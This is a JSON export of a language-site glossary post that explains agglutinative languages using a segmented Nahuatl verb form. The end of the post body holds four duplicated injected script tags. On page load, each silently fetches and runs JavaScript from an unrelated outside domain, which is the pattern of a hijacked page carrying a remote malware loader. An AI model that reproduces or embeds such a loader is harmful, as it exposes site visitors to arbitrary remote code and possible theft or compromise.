{"id":65083,"date":"2015-06-08T16:27:35","date_gmt":"2015-06-08T14:27:35","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=65083"},"modified":"2025-10-21T22:05:40","modified_gmt":"2025-10-21T20:05:40","slug":"agglutinative-language","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2015\/06\/agglutinative-language\/","title":{"rendered":"Agglutinative language"},"content":{"rendered":"<p>An agglutinative language is a language where words are formed from a lexical root (substantive, verb, adjective, etc), holding the main signification, to which a certain amount of affixes (<em>prefix, suffix and\/or infix<\/em>) corresponding to prepositions, pronouns, etc. are added, thus giving grammatical information. Those affixes are usually invariable and often deliver one piece of information at a time. An agglutinative language is supposed to be regular in terms of affixes.<\/p>\n<p>To make things clearer, let&#8217;s have a look at Nahuatl, language of the <a href=\"https:\/\/www.sorosoro.org\/en\/uto-aztecan-languages\">Uto-Aztecan family<\/a> in Mexico:<\/p>\n<p><em><strong>nimitste:tlapiyalti:lis<\/strong><\/em>:<em> &#8220;I&#8217;ll make you keep things for people&#8221;, &#8220;I want you to be the guardian in other people&#8217;s interest&#8221;.<\/em><\/p>\n<p>The sentence could be broken down as follows:<\/p>\n<p><em><strong>Ni<\/strong><\/em>: I (subject, 1st person singular)<\/p>\n<p><em><strong>mits<\/strong><\/em>: you (object, 2nd person singular)<\/p>\n<p><em><strong>te<\/strong><\/em>: people (human indefinite object)<\/p>\n<p><em><strong>tla<\/strong><\/em>: things (non-human indefinite object)<\/p>\n<p><em><strong>piya<\/strong><\/em>: keep (verbal root)<\/p>\n<p><em><strong>lti<\/strong><\/em>: make someone do something (causative or factitive)<\/p>\n<p><em><strong>li<\/strong><\/em>: do something for someone (applicative)<\/p>\n<p><em><strong>s<\/strong><\/em>: marker of the future tense<\/p>\n<p><em>Note: the concepts of agglutinative and polysynthetic languages are controversial and their definitions are often considered as non-operational.<\/em><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>An agglutinative language is a language where words are formed from a lexical root (substantive, verb, adjective, etc), holding the main signification, to which a certain amount of affixes (prefix, suffix and\/or infix) corresponding to prepositions, pronouns, etc. are added, thus giving grammatical information. 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